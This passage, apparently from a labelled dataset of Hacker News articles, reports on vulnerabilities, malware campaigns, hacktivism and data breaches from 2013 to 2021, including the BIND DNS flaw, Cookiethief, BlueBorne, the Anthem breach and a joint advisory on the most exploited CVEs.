This Apache vulnerability has been addressed with the release of Tomcat version 9.0.19 (though the issue was fixed in Apache Tomcat 9.0.18, the release vote for the 9.0.18 release did not pass), version 8.5.40 and version 7.0.93.

So, administrators are strongly recommended to apply the software updates as soon as possible. If you are unable to apply the patches immediately, you should ensure the CGI Servlet initialisation parameter's default enableCmdLineArguments value is set to false.

",Vulnerability
SRTT Vulnerability in BIND Software Puts DNS Protocol Security At Risk,https://thehackernews.com/2014/05/critical-vulnerability-in-bind-software.html,"After the Heartbleed bug that exposed half of the Internet vulnerable to hackers thereby marking as one of the largest Internet vulnerability in recent history, the critical flaw in the implementation of the DNS protocol could also represent a serious menace to the Internet security.

A Serious security vulnerability has been discovered in the algorithms of DNS software – BIND by the two Israeli students 'Roee Hay' and 'Jonathan Kalechstein', who are working under a project out at the Laboratory of Computer Communication & Networking in the Faculty of Computer Science at the Technion, which was led by Dr. Gabi Nakibly from Rafael (Rafael Advanced Defense Systems Ltd.).

Although, Technion students have not provided any detail explanation about the vulnerability, but indicated that by exploiting the DNS protocol flaw an attacker could redirect the users who are trying to visit a legitimate website to a fake and bogus website which the attacker controls. The fake website could reflect the same name and look completely identical to the original one.

VULNERABILITY IN DNS PROTOCOL
The students have found a way to compel DNS servers to connect with a specific server controlled by the attacker that could respond with a false IP address. ""This type of cyber attack gives hackers an advantage, by causing computers to 'talk' with network stations that they alone control without being able to detect the occurrence of the fraud,"" explains Dr. Gabi Nakibly.

The Domain Name System (DNS) is an essential component of the functionality of the Internet and the most common internet protocol which is responsible for navigating between global servers based on website addresses. It translates easily memorized domain names to the numerical IP addresses needed for the purpose of locating computer services and devices worldwide.

""The DNS protocol has been around for several years and has been investigated by researchers from all over the world. We knew in advance that the chances of finding a loophole in the software would be very small, but we like challenges,"" Roee Hay stated.

Since DNS is the leading protocol that is responsible to take users to the site they wanted to see, any weakness in its implementation could lead users to a bogus site controlled by the attackers or steal users' credentials by a classic phishing schema.

PATCHED VERSION COMING SOON
Fortunately the weakness discovered in the protocol is the result of a research conducted by the Students at Technion and till now security experts haven't noticed any such attacks exploiting the flaw. But, the impact of the vulnerability could be more terrific if exploited by the cyber criminals.

""We were very surprised to find a loophole in the protocol,"" said Kalechstein. ""We reported it to the authorities responsible for its implementation, they responded that they were unaware of this problem, and added that they will replace the algorithms in the next software version release.""

The discovery of the critical flaw has been reported to the authorities responsible for its implementation and they responded by saying that they were totally unaware of this loophole and that the algorithms will be replaced in the next software version release.

",Vulnerability
Android Cookie-Stealing Malware Found Hijacking Facebook Accounts,https://thehackernews.com/2020/03/android-cookies-malware-hacking.html,"A new simple but dangerous strain of Android malware has been found in the wild that steals users' authentication cookies from the web browsing and other apps, including Chrome and Facebook, installed on the compromised devices.

Dubbed ""Cookiethief"" by Kaspersky researchers, the Trojan works by acquiring superuser root rights on the target device, and subsequently, transfer stolen cookies to a remote command-and-control (C2) server operated by attackers.

""This abuse technique is possible not because of a vulnerability in the Facebook app or browser itself,"" Kaspersky researchers said. ""Malware could steal cookie files of any website from other apps in the same way and achieve similar results.""

Cookiethief: Hijacking Accounts Without Requiring Passwords

Cookies are small pieces of information that's often used by websites to differentiate one user from another, offer continuity around the web, track browsing sessions across different websites, serve personalized content, and strings related to targeted advertisements.

Given how cookies on a device allow users to stay logged in to a service without having to repeatedly sign in, Cookiethief aims to exploit this very behavior to let attackers gain unauthorized access to the victim accounts without knowing their actual online accounts passwords.

""This way, a cybercriminal armed with a cookie can pass himself off as the unsuspecting victim and use the latter's account for personal gain,"" the researchers said.

Kaspersky theorizes that there could be a number of ways the Trojan could land up on the device — including planting such malware in the device firmware before purchase, or by exploiting vulnerabilities in the operating system to download malicious applications.


Once the device is infected, the malware connects to a backdoor, dubbed 'Bood,' installed on the same smartphone to execute ""superuser"" commands that facilitate cookie theft.

How Do Attackers Bypass Multi-Level Protection Offered by Facebook?

Cookiethief malware doesn't have it all easy, though. Facebook has security measures in place to block any suspicious login attempts, such as from IP addresses, devices, and browsers that had never been used for logging into the platform before.

But the bad actors have worked around the problem by leveraging the second piece of malware app, named 'Youzicheng,' that creates a proxy server on the infected device to impersonate the account owner's geographic location to make the access requests legitimate.

""By combining these two attacks, cybercriminals can gain complete control over the victim's account and not raise suspicion from Facebook,"" the researchers noted.


It's not yet clear what the attackers are really after, but the researchers found a page found on the C2 server advertising services for distributing spam on social networks and messengers — leading them to the conclusion that the criminals could leverage Cookiethief to hijack users' social media accounts to spread malicious links or perpetuate phishing attacks.

While Kaspersky classified the attack as a new threat — with only about 1,000 individuals targeted in this manner — it warned that this number is ""growing"" considering the difficulty in detecting such intrusions.

To be safe from such attacks, it's recommended that users block third-party cookies on the phone's browser, clear the cookies on a regular basis, and visit websites using private browsing mode.

",Malware
Hacker uses Evernote account as Command-and-Control Server,https://thehackernews.com/2013/03/hacker-uses-evernote-account-as-command.html,"Cyber criminals are using popular note-taking app Evernote as Command-and-Control Server to give commands to the malware installed on infected PCs using botnets.

TrendMicro uncovered a malware detected as ""BKDR_VERNOT.A"" tried to communicate with Command-and-Control Server using Evernote.


Malware delivered via an executable file that installs the malware as a dynamic-link library. The installer then ties the DLL into a legitimate running process, hiding it from casual detection. Once installed, BKDR_VERNOT.A can perform several backdoor commands such as downloading, executing, and renaming files. It then gathers information from the infected system, including details about its OS, timezone, user name, computer name, registered owner and organization.
Researchers also pointed out that the backdoor may have also used Evernote as a location to upload stolen data. ""Unfortunately, during our testing, it was not able to login using the credentials embedded in the malware. This is possibly a security measure imposed by Evernote following its recent hacking issue.""

""Though this is a clever maneuver to avoid detection, this is not the first time that a legitimate service like Evernote was used as a method of evasion.""

Like Evernote, Google Docs, Twitter and others have been misused in the past.

",Malware
Anonymous Declares War On Donald Trump — #OpTrump,https://thehackernews.com/2015/12/anonymous-donald-trump.html,"After targeting the Islamic State (ISIS) group in the wake of Deadly terror attacks in Paris, hacktivist group Anonymous has now turned its attention to controversial US presidential candidate Donald Trump.

The hacktivist group has declared war against Donald Trump following his recent radical speech stating he wanted to ban Muslims from entering the United States.

Anonymous vs. Donald Trump

On Wednesday, Anonymous slams Trump by posting a YouTube video in which a man in a Guy Fawkes mask says:
""Donald Trump, it has come to our attention that you wish to ban all muslims from entering the United States. Muslims and Islam are not the problem. This policy will have grave impact and will serve only to fuel the emotions that ISIS uses to recruit muslims. Certainly ISIS will use this to their advantage in their social media campaigns. Instead of focusing on the innocent, the focus should be set on ways to protect them from the radicalized individuals they flee. Donald Trump, think twice before you speak. This policy is one that cannot be accepted. Denying people of opportunity to escape hardship is not a solution of a future world leader. If anything, this solution will only bear more conflict. We cannot sit idle with the possibilty of detrimental consequences. Should this policy be pursued any further, we will have no choice but to take action.""

Watch the Video:

Anonymous Takes Down Donald Trump Website
Moreover, the group started #OpTrump hacking campaign against Donald Trump on Wednesday night and took down the website for New York City's Trump Towers (www.trumptowerny.com) by hitting it with Distributed Denial-of-Service (DDoS) attacks.

The website was reportedly down for hours. However, it appears to be operational now.

While the online hacktivist group has yet to officially claim responsibility for the DDOS attack on Trump's website, Twitter users showed their full support to Anonymous and its #OpTrump campaign.

Also Read: Telegram Shuts Down 78 ISIS Channels

This is not the first time the group has targeted Trump. Few months ago, Anonymous broke into Trump.com in an effort to deliver Jon Stewart a message as he was about to leave The Daily Show.

As we await Anonymous's next move, the group has already declared Friday to be a day to troll ISIS, urging Twitter users to troll ISIS using the #Daeshbags hashtag.

This Hack Lets You Find Which of Your Facebook Friends Like Trump

Meanwhile, a website known as FriendsWhoLikeTrump.com has been created to show you which of your Facebook friends have ""Liked"" Donald J. Trump.

Clicking on the site will land you to a Facebook search feature that shows what your friends have liked, or you can achieve the same yourself by simply typing ""My friends who like Donald J. Trump"" in the Facebook search bar.

You will get a list of anyone in your Facebook network who has clicked ""Like"" on Trump's Facebook page.

",Cyber_Attack
Blackhat – Upcoming Cyber Thriller Movie,https://thehackernews.com/2014/12/blackhat-hacker-movie-2015.html,"""Hacking"" is not just popular among cyber security experts and criminals, but also is a great interest for movies industries as well. Hollywood movies such as 1995 released Hackers and 2001 released Swordfish are examples of it, and now Chris Hemsworth's new flick Blackhat.

Blackhat – An upcoming cyber thriller, directed and co-written by Michael Mann (who also directed Tom Cruise' Collateral), in which actor Chris Hemsworth trades brawn for brains to save the world. The latest trailer for Blackhat has arrived online, and you can watch it below.

Hemsworth's character in the upcoming cyber thriller is a former Blackhat hacker, named Nicholas Hathaway, who is serving a 15-year sentence for cyber crimes. He was recruited straight from prison by a mixed team of American and Chinese law enforcement officials to stop high-level cybercrime network from Chicago to Los Angeles to Hong Kong to Jakarta and save the world from global hackers.

Hathaway agrees to help on a condition if the law enforcement officials commute his sentence, but as he get into the matter, he found that things were a lot more complicated than he thought.

The filmmaker of The Insider and Heat has spent years on researching material for Blackhat, explored the dependence of people on technology and security issues nowadays. Oscar nominee Viola Davis, Tang Wei and Leehom Wang are also star casts in the thriller.

Chris Hemsworth is dropping his Thor hammer and picking up a computer keyboard, sounds really interesting. Well, I will watch it for this very reason. Blackhat will hit the movie theaters in U.S. on January 16th, 2015 and in the UK on February 20th, 2015.[Yahoo Movies]

",Cyber_Attack
Iranian Ajax Security Team targets US Defense Industry,https://thehackernews.com/2014/05/iranian-ajax-security-team-targets-us.html,"The Iranian hacking group, which calls itself the ""Ajax Security Team"", was quite famous from last few years for websites defacement attacks, and then suddenly they went into dark since past few months. But that doesn't mean that the group was inactive, rather defacing the websites, the group was planning something bigger.

The Group of hackers at Ajax Security Team last defaced a website in December 2013 and after that it transitioned to sophisticated malware-based espionage campaigns in order to target U.S. defense organizations and Iranian dissidents, according to the report released by FireEye researchers.

""The transition from patriotic hacking to cyber espionage is not an uncommon phenomenon. It typically follows an increasing politicization within the hacking community, particularly around geopolitical events,"" researchers Nart Villeneuve, Ned Moran, Thoufique Haq and Mike Scott wrote in the report. ""This is followed by increasing links between the hacking community and the state, particularly military and/or intelligence organizations.""

The security firm has been tracking the activities of the hacking group on online forums and identified some of the group's prominent members by their screen names, ""HUrr1c4nE!"" and ""Cair3x.""

FireEye found that the Ajax Security Team appeared to be formed in 2010, have stopped the website defacement attacks and started more targeted attacks with the aim to retrieve the information from systems through their own custom designed malware.

The group dubbed the malware as 'Stealer,' which isn't particularly much advanced like the malwares are today, still very effective and sophisticated.

Stealer uses common techniques to steal credential data and is built into a CAB extractor. Once activated, the extractor drop a malware called IntelRS.exe, which adds a backdoor to the target system that communicates with command-and-control servers over FTP, keylogger and screenshot-grabbing tools.

The malware has capability to steal browser information such as bookmarks and history and also collects system information such as running processes, IP addresses and many more.

In the report titled ""Operation Saffron Rose"", the malware campaign disclosed that the team used email, inbox messages over various social networks, fake login pages and the propagation of anti-censorship software infected with malware to lure targets into installing malicious software and revealing credentials from their machines.

In one case, the group targeted the Western Defense companies, particularly those in the Aerospace industry, using a fake registration page impersonating the IEEE Aerospace conference. In order to do this, first the group registered the domain aeroconf2014[.]org, similar to the legitimate conference domain, and then sent out emails to companies in the field with a link to their fake site.

Once they visited the site and tries to register themselves for the conference, they would be prompted to install proxy software in order to access the website. But, the software was actually a Stealer malware, FireEye said.

In addition to it, the attackers also used phishing emails to grab credentials for a variety of online services such as Outlook Web Access and VPN logins.

""The increased politicization of the Ajax Security Team, and the transition from nuisance defacements to operations against internal dissidents and foreign targets, coincides with moves by Iran aimed at increasing offensive cyber capabilities,"" the security firm concluded. ""While the relationship between actors such as the Ajax Security Team and the Iranian government remains unclear, their activities appear to align with Iranian government political objectives.""

The researcher also discovered a command-and-control server used by the group to store victims' stolen data and recovered the data of 77 infected victims targeted by the group. Most of the victims had their computers set to Iran's time zone and Persian language. The firm also unearthed evidence the group targeted U.S. defense contractors.

FireEye states that the objectives of Ajax team are apparently consistent with the efforts of Iranian government to control political opposition and to expand its offensive cyber capabilities.

",Cyber_Attack
You Can Crash Anyone's iPhone Or iPad With A Simple Emoji Text Message,https://thehackernews.com/2017/01/crash-iphone-emoji.html,"A newly discovered bug in Apple's iOS mobile operating system is being exploited in a prank that lets anyone crash your iPhone or iPad by just sending an emoji-filled iMessage, according to several reports.

YouTube star EverythingApplePro published a video highlighting a sequence of characters that temporarily freeze and restart an iPhone, which people can send to their iPhone buddies to trouble them. You can watch the video demonstration below.

Here's the first troublesome text: A white Flag emoji, the digit ""0"" and a Rainbow emoji.

This simple numeric character, flag, and rainbow emojis confuse iOS 10 devices when it tries to combine them into a rainbow flag.

As soon as this text is received, the iPhone's software attempts to combine the emojis but fails, and the messaging app crashes and eventually reboots in a few minutes. The recipients do not even have to open or read the message.

Video Demonstration

Another iPhone-crashing method involves the same characters, but saving them as a contact file and then sending that file to an iMessage contact via iCloud's sharing feature.

This, in turn, will crash the target's device, even if the victim has not manually opened the file.

Both the methods mentioned above will crash and iPhone or iPad to varying degrees, although the simple text string sent via a standard iMessage appears to affect iPhones and iPads running iOS 10.1 or below.

However, the boobytrapped contact card affects all versions of iOS 10, including Apple's latest iOS 10.2 operating system.

There is nothing you can do to protect yourself against this issue, as these iPhone-crashing issues have the ability to crash and reboot your iPhone or iPad without your interaction.

So, we hope that Apple releases a patch quickly to plug the issues, though the company has declined to comment on the issue.

This is not the first time EverythingApplePro has shared iOS-crashing issues. The YouTuber has a long history of reporting on iPhone crash pranks.

",Vulnerability
Top 30 Critical Security Vulnerabilities Most Exploited by Hackers,https://thehackernews.com/2021/07/top-30-critical-security.html,"Intelligence agencies in Australia, the U.K., and the U.S. issued a joint advisory on Wednesday detailing the most exploited vulnerabilities in 2020 and 2021, once again demonstrating how threat actors are able to swiftly weaponize publicly disclosed flaws to their advantage.
""Cyber actors continue to exploit publicly known—and often dated—software vulnerabilities against broad target sets, including public and private sector organizations worldwide,"" the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC), the United Kingdom's National Cyber Security Centre (NCSC), and the U.S. Federal Bureau of Investigation (FBI) noted.
""However, entities worldwide can mitigate the vulnerabilities listed in this report by applying the available patches to their systems and implementing a centralized patch management system.""
The top 30 vulnerabilities span a wide range of software, including remote work, virtual private networks (VPNs), and cloud-based technologies, that cover a broad spectrum of products from Microsoft, VMware, Pulse Secure, Fortinet, Accellion, Citrix, F5 Big IP, Atlassian, and Drupal.
The most routinely exploited flaws in 2020 are as follows -
CVE-2019-19781 (CVSS score: 9.8) - Citrix Application Delivery Controller (ADC) and Gateway directory traversal vulnerability
CVE-2019-11510 (CVSS score: 10.0) - Pulse Connect Secure arbitrary file reading vulnerability
CVE-2018-13379 (CVSS score: 9.8) - Fortinet FortiOS path traversal vulnerability leading to system file leak
CVE-2020-5902 (CVSS score: 9.8) - F5 BIG-IP remote code execution vulnerability
CVE-2020-15505 (CVSS score: 9.8) - MobileIron Core & Connector remote code execution vulnerability
CVE-2020-0688 (CVSS score: 8.8) - Microsoft Exchange memory corruption vulnerability
CVE-2019-3396 (CVSS score: 9.8) - Atlassian Confluence Server remote code execution vulnerability
CVE-2017-11882 (CVSS score: 7.8) - Microsoft Office memory corruption vulnerability
CVE-2019-11580 (CVSS score: 9.8) - Atlassian Crowd and Crowd Data Center remote code execution vulnerability
CVE-2018-7600 (CVSS score: 9.8) - Drupal remote code execution vulnerability
CVE-2019-18935 (CVSS score: 9.8) - Telerik .NET deserialization vulnerability resulting in remote code execution
CVE-2019-0604 (CVSS score: 9.8) - Microsoft SharePoint remote code execution vulnerability
CVE-2020-0787 (CVSS score: 7.8) - Windows Background Intelligent Transfer Service (BITS) elevation of privilege vulnerability
CVE-2020-1472 (CVSS score: 10.0) - Windows Netlogon elevation of privilege vulnerability
The list of vulnerabilities that have come under active attack thus far in 2021 are listed below -
Microsoft Exchange Server: CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 (aka ""ProxyLogon"")
Pulse Secure: CVE-2021-22893, CVE-2021-22894, CVE-2021-22899, and CVE-2021-22900
Accellion: CVE-2021-27101, CVE-2021-27102, CVE-2021-27103, and CVE-2021-27104
VMware: CVE-2021-21985
Fortinet: CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591
The development also comes a week after MITRE published a list of top 25 ""most dangerous"" software errors that could lead to serious vulnerabilities that could be exploited by an adversary to take control of an affected system, obtain sensitive information, or cause a denial-of-service condition.
""The advisory [...] puts the power in every organisation's hands to fix the most common vulnerabilities, such as unpatched VPN gateway devices,"" NCSC Director for Operations, Paul Chichester, said, urging the need to prioritize patching to minimize the risk of being exploited by malicious actors.

",Cyber_Attack
Popular Mobile Browsers Found Vulnerable To Address Bar Spoofing Attacks,https://thehackernews.com/2020/10/browser-address-spoofing-vulnerability.html,"Graphic for illustration
Cybersecurity researchers on Tuesday disclosed details about an address bar spoofing vulnerability affecting multiple mobile browsers, such as Apple Safari and Opera Touch, leaving the door open for spear-phishing attacks and delivering malware.
Other impacted browsers include UCWeb, Yandex Browser, Bolt Browser, and RITS Browser.
The flaws were discovered by Pakistani security researcher Rafay Baloch in the summer of 2020 and jointly reported by Baloch and cybersecurity firm Rapid7 in August before they were addressed by the browser makers over the past few weeks.
UCWeb and Bolt Browser remain unpatched as yet, while Opera Mini is expected to receive a fix on November 11, 2020.
The issue stems from using malicious executable JavaScript code in an arbitrary website to force the browser to update the address bar while the page is still loading to another address of the attacker's choice.
Original PoC demo
""The vulnerability occurs due to Safari preserving address bar of the URL when requested over an arbitrary port, the set interval function reloads bing.com:8080 every 2 milliseconds and hence user is unable to recognize the redirection from the original URL to spoofed URL,"" Rafay Baloch said in technical analysis.
""What makes this vulnerability more effective in Safari by default does not reveal port number in URL unless and until focus is set via cursor.""
Put differently; an attacker can set up a malicious website and lure the target into opening the link from a spoofed email or text message, thereby leading an unsuspecting recipient into downloading malware or risk getting their credentials stolen.
The research also found the macOS version of Safari to be vulnerable to the same bug, which according to Rapid7 has been addressed in a Big Sur macOS update released last week.
This is not the first time such vulnerability has been spotted in Safari. Back in 2018, Baloch disclosed a similar kind of address bar spoofing flaw that caused the browser to preserve the address bar and to load the content from the spoofed page through a JavaScript-induced timing delay.
""With ever growing sophistication of spear phishing attacks, exploitation of browser-based vulnerabilities such as address bar spoofing may exacerbate the success of spear-phishing attacks and hence prove to be very lethal,"" Baloch said.
""First and foremost, it is easy to persuade the victim into stealing credentials or distributing malware when the address bar points to a trusted website and giving no indicators forgery, secondly since the vulnerability exploits a specific feature in a browser, it can evade several anti-phishing schemes and solutions.""

",Vulnerability
"NSA infected more than 50,000 computer networks with Malware",https://thehackernews.com/2013/11/nsa-infected-more-than-50000-computer.html,"The NSA has the ability to trace ""anyone, anywhere, anytime"". In September we reported that how NSA and GCHQ planted malware via LinkedIn and Slashdot traffic to hack largest telecom company Belgacom's Engineers.

Yesterday, a Dutch newspaper has published a new secret NSA document provided by former intelligence employee Edward Snowden.
According to the newly exposed slide, NSA has infected more than 50,000 computer networks worldwide with software designed to steal sensitive information i.e. Malware.

The slide from the NSA's 2012 management presentation, shows a world map with more than 50,000 targeted locations, uses a procedure called 'Computer Network Exploitation' (CNE) that can secretly install malware in computer systems. The malware can be controlled remotely and be turned on and off at will.

From the NSA website we found that, CNE includes enabling actions and intelligence collection via computer networks that exploit data gathered from target or enemy information systems or networks.

""Cyberwar is a very real threat and could cause widespread problems. That is why the National Security Agency needs to be prepared by Computer Science professionals who are highly-skilled in Computer Network Operations."" The website says.

To perform such offensive attacks via CNE operations, NSA has employed more than a thousand hackers under a special unit called TAO (Tailored Access Operations). Countries targeted by the CNE hackers unit includes China, Russia, Venezuela and Brazil.

Many Counties now have their own Cyber units - including China and Dutch, but their actions are prohibited by law. Officially they cannot perform operations as the NSA and GCHQ can do.

",Cyber_Attack
"Typeform, Popular Online Survey Software, Suffers Data Breach",https://thehackernews.com/2018/06/typeform-survey-software.html,"Typeform, the popular Spanish-based online data collection company specializes in form building and online surveys for businesses worldwide, has today disclosed that the company has suffered a data breach that exposed partial data of its some users.

The company identified the breach on June 27th, and then quickly performed a full forensic investigation of the incident to identify the source of the breach.

According to the company, some unknown attackers managed to gain unauthorized access to its servers and downloaded a partial data backups for surveys conducted before May 3rd 2018.

Typeform confirmed that it patched the issue within just half an hour after identifying the intrusion, and emailed all the affected users, warning them to watch out for potential phishing scams, or spam emails.

The company did not disclose any details about the vulnerability that was exploited by hackers to gain access to its servers, though it assured its users that no payment card details or password information for the website had been exposed in the breach.

Also, if customers collected payments via Typeform's Stripe integration, all of their audience's payment details are safe.

One of its customers, Monzo, a digital mobile-only bank that had used Typeform's service to collect survey results in the past, also conducted an initial investigation of the incident and confirmed that ""some personal data of about 20,000 people are likely to have been included in the breach.""
""For the vast majority of people, this was just their email address. For a much smaller proportion of others, this may have included other data like their Twitter username or postcode. We've published a full breakdown at the bottom of this post,"" Monzo CEO Tom Blomfield wrote on its website.
Monzo is also sending out emails to its users affected by the data breach, informing that the breach likely included their email addresses and that the incident has not affected their user's Monzo accounts and their money is safe.

Popular sportswear company Adidas on Thursday also confirmed a potential data breach that affected millions of its U.S. customers, who may have compromised their usernames, password hashes and contact information.

Yesterday, Global entertainment ticketing service Ticketmaster also admitted that the company has suffered a security breach that exposed some of their customers personal and payment information to unknown hackers.

",Data_Breaches
U.S. Charges Chinese Hacker For 2015 Anthem Data Breach,https://thehackernews.com/2019/05/chinese-hacker-anthem-breach.html,"The United States Justice Department today announced charges against a Chinese hacker and his hacking team member for their alleged role in the 2015 massive data breach at health insurance giant Anthem and three other unnamed American companies.

Fujie Wang (王 福 杰) and another hacker named John Doe with three different aliases—Deniel Jack, Kim Young, and Zhou Zhihong—are charged with four counts of conspiracy to commit fraud, wire fraud, and damage to a protected computer, according to an indictment [pdf] unsealed today in federal court in Indianapolis.

In 2015, the hackers managed to breach Anthem, the country's second-largest health insurance company and stole personal information of over 80 Millions of its customers, including their Social Security Numbers, birthdates, email addresses, residential addresses, medical identification numbers, employment information, and income data.

The incident marked as one of the worst data breaches in history, with the company paying a record $115 million fine to settle U.S. lawsuits.

According to the indictment, the hackers used sophisticated techniques, including spearfishing, to hack into the computer networks of the targeted businesses and then installed malware on their computers to further compromise the networks and gain access to sensitive users' data and confidential business information.

""As part of this international computer hacking scheme, the indictment alleges that beginning in February 2014, the defendants used sophisticated techniques to hack into the computer networks of the victim businesses without authorization,"" the DoJ says.

""On multiple occasions in January 2015, the defendants accessed the computer network of Anthem, accessed Anthem's enterprise data warehouse, and transferred encrypted archive files containing PII from Anthem's enterprise data warehouse from the United States to China.""

Besides Anthem, the defendants also breached three other U.S. companies—a company in the technology sector, a basic materials company, and a communication services company—but the indictment does not reveal their names.

Wang and Doe are both charged with a total of four federal counts:
one count of conspiracy to commit fraud and related activity in relation to computers and identity theft
one count of conspiracy to commit wire fraud
two substantive counts of intentional damage to a protected computer

However, the above charges are just allegations for now, and the ""defendants are presumed innocent until proven guilty beyond a reasonable doubt in a court of law.""

The case was investigated by the Federal Bureau of Investigation (FBI).
",Data_Breaches
Bluetooth Hack Affects 20 Million Amazon Echo and Google Home Devices,https://thehackernews.com/2017/11/amazon-alexa-hacking-bluetooth.html,"Remember BlueBorne?

A series of recently disclosed critical Bluetooth flaws that affect billions of Android, iOS, Windows and Linux devices have now been discovered in millions of AI-based voice-activated personal assistants, including Google Home and Amazon Echo.

As estimated during the discovery of this devastating threat, several IoT and smart devices whose operating systems are often updated less frequently than smartphones and desktops are also vulnerable to BlueBorne.

BlueBorne is the name given to the sophisticated attack exploiting a total of eight Bluetooth implementation vulnerabilities that allow attackers within the range of the targeted devices to run malicious code, steal sensitive information, take complete control, and launch man-in-the-middle attacks.

What's worse? Triggering the BlueBorne exploit doesn't require victims to click any link or open any file—all without requiring user interaction. Also, most security products would likely not be able to detect the attack.

What's even scarier is that once an attacker gains control of one Bluetooth-enabled device, he/she can infect any or all devices on the same network.

These Bluetooth vulnerabilities were patched by Google for Android in September, Microsoft for Windows in July, Apple for iOS one year before disclosure, and Linux distributions also shortly after disclosure.

However, many of these 5 billion devices are still unpatched and open to attacks via these flaws.

20 Million Amazon Echo & Google Home Devices Vulnerable to BlueBorne Attacks
IoT security firm Armis, who initially discovered this issue, has now disclosed that an estimated 20 million Amazon Echo and Google Home devices are also vulnerable to attacks leveraging the BlueBorne vulnerabilities.

If I split, around 15 million Amazon Echo and 5 million Google Home devices sold across the world are potentially at risk from BlueBorne.

Amazon Echo is affected by the following two vulnerabilities:
A remote code execution vulnerability in the Linux kernel (CVE-2017-1000251)
An information disclosure flaw in the SDP server (CVE-2017-1000250)
Since different Echo's variants use different operating systems, other Echo devices are affected by either the vulnerabilities found in Linux or Android.

Whereas, Google Home devices are affected by one vulnerability:
Information disclosure vulnerability in Android's Bluetooth stack (CVE-2017-0785)
This Android flaw can also be exploited to cause a denial-of-service (DoS) condition.

Since Bluetooth cannot be disabled on either of the voice-activated personal assistants, attackers within the range of the affected device can easily launch an attack.

Armis has also published a proof-of-concept (PoC) video showing how they were able to hack and manipulate an Amazon Echo device.

The security firm notified both Amazon and Google about its findings, and both companies have released patches and issued automatic updates for the Amazon Echo and Google Home that fixes the BlueBorne attacks.

Amazon Echo customers should confirm that their device is running v591448720 or later, while Google has not made any information regarding its version yet.

",Vulnerability
This New Android Malware Can Physically Damage Your Phone,https://thehackernews.com/2017/12/phone-malware-battery.html,"Due to the recent surge in cryptocurrency prices, not only hackers but also legitimate website administrators are increasingly using JavaScript-based cryptocurrency miners to monetize by levying the CPU power of your PC to mine Bitcoin or other cryptocurrencies.

Just last week, researchers from AdGuard discovered that some popular video streaming and ripper sites including openload, Streamango, Rapidvideo, and OnlineVideoConverter hijacks CPU cycles from their over hundreds of millions of visitors for mining Monero cryptocurrency.

Now, researchers from Moscow-based cyber security firm Kaspersky Lab have uncovered a new strain of Android malware lurking in fake anti-virus and porn applications, which is capable of performing a plethora of nefarious activities—from mining cryptocurrencies to launching Distributed Denial of Service (DDoS) attacks.

Dubbed Loapi, the new Android Trojan can perform so many more malicious activities at a time that can exploit a handset to the extent that within just two days of infection it can cause the phone's battery to bulge out of its cover.

Described as a ""jack-of-all-trades"" by the researchers, Loapi has a modular architecture that lets it conduct a variety of malicious activities, including mining the Monero cryptocurrency, launching DDoS attacks, bombarding infected users with constant ads, redirecting web traffic, sending text messages, and downloading and installing other apps.

Loapi Destroyed An Android Phone In Just 2 Days
When analyzed a Loapi sample, Kaspersky's researchers discovered that the malware mines the Monero cryptocurrency so intensely that it destroyed an Android phone after two days of testing, causing the battery to bulge and deforming the phone cover.

According to researchers, the cybercriminals behind Loapi are the same responsible for the 2015 Android malware Podec. They are distributing the malware through third-party app stores and online advertisements that pose as apps for ""popular antivirus solutions and even a famous porn site.""

A screenshot in the Kaspersky blog suggests that Loapi impersonates as at least 20 variations of adult-content apps and legitimate antivirus software from AVG, Psafe DFNDR, Kaspersky Lab, Norton, Avira, Dr. Web and CM Security, among others.

Upon installation, Loapi forces the user to grant it 'device administrator' permissions by looping a pop-up until a victim clicks yes, which gives the malicious app the same power over your smartphone that you have.

This highest level privilege on a device would also make the Loapi malware ideal for user espionage, though this capability is not yet present in the malware, the Kaspersky researchers think this can be included in the future.

Loapi Malware Aggressively Fights to Protect Itself

Researchers also said the malware ""aggressively fights any attempts to revoke device manager permissions"" by locking the screen and closing phone windows by itself.

Loapi communicates with the module-specific command and control (C&C) servers, including advertisement module, SMS module and mining module, web crawler, and proxy module, for different functions to be performed on the infected device.

By connecting with one of the above-mentioned C&C servers, Loapi sends a list of legitimate antivirus apps that pose it danger and claims the real app as malware and urges the user to delete it by showing the pop-up in a loop until the user finally deletes the app.
""Loapi is an interesting representative from the world of malicious Android apps. It's creators have implemented almost the entire spectrum of techniques for attacking devices: the Trojan can subscribe users to paid services, send SMS messages to any number, generate traffic and make money from showing advertisements, use the computing power of a device to mine cryptocurrencies, as well as perform a variety of actions on the internet on behalf of the user/device,"" the researchers concluded.
Fortunately, Loapi failed to make its ways to Google Play Store, so users who stick to downloads from the official app store are not affected by the malware. But you are advised to remain vigilant even when downloading apps from Play Store as malware often makes its ways to infect Android users.

",Malware
'BadNews' Android Malware downloaded up to 9 million times,https://thehackernews.com/2013/04/badnews-android-malware-downloaded-up.html,"It appears as if another malware scare has come to Android. Lookout Security said on Friday that it has discovered a new family of malware called BadNews. Malware that avoided detection and made its way onto the Google Play store has been downloaded around 9 million times by users from all over the world.

The company uncovered the malware in 32 applications listed by four different developer accounts on Google Play. Google was notified and the company removed the affected apps and killed the developer accounts associated with them.
In their report, firm describes the malware: ""BadNews masquerades as an innocent, if somewhat aggressive advertising network. This is one of the first times that we've seen a malicious distribution network clearly posing as an ad network. Because it's challenging to get malicious bad code into Google play, the authors of Badnews created a malicious advertising network, as a front, that would push malware out to infected devices at a later date in order to pass the app security. Badnews has the ability to send fake news messages, prompt users to install applications and sends sensitive information such as the phone number and device ID to its Command and Control (C&C) server. BadNews uses its ability to display fake news messages in order to push out other types of monetization malware and promote affiliated apps.""

LookOut published the full list of known affected apps, with over half of them targeted at Russian users:

BadNews apps were also noted as using those fake news messages to promote affiliated apps and also push other types of monetization malware. One of the apps being pushed was AlphaSMS which is a premium rate SMS app.

Lookout has identified three control and command servers in Russia, Ukraine and Germany. All C&C servers are still currently live, but Lookout is working hard to bring them down as quickly as possible.

To be safe make sure the Android system setting 'unknown sources' is unchecked to prevent any dropped or drive-by-download app installs. Also, download a mobile security app that protects against malware and other virus threats.

",Malware
4 New BlueKeep-like 'Wormable' Windows Remote Desktop Flaws Discovered,https://thehackernews.com/2019/08/windows-rdp-wormable-flaws.html,"If you are using any supported version of the Windows operating system, stop everything and install the latest security updates from Microsoft immediately.

Windows operating system contains four new critical wormable, remote code execution vulnerabilities in Remote Desktop Services, similar to the recently patched 'BlueKeep' RDP vulnerability.

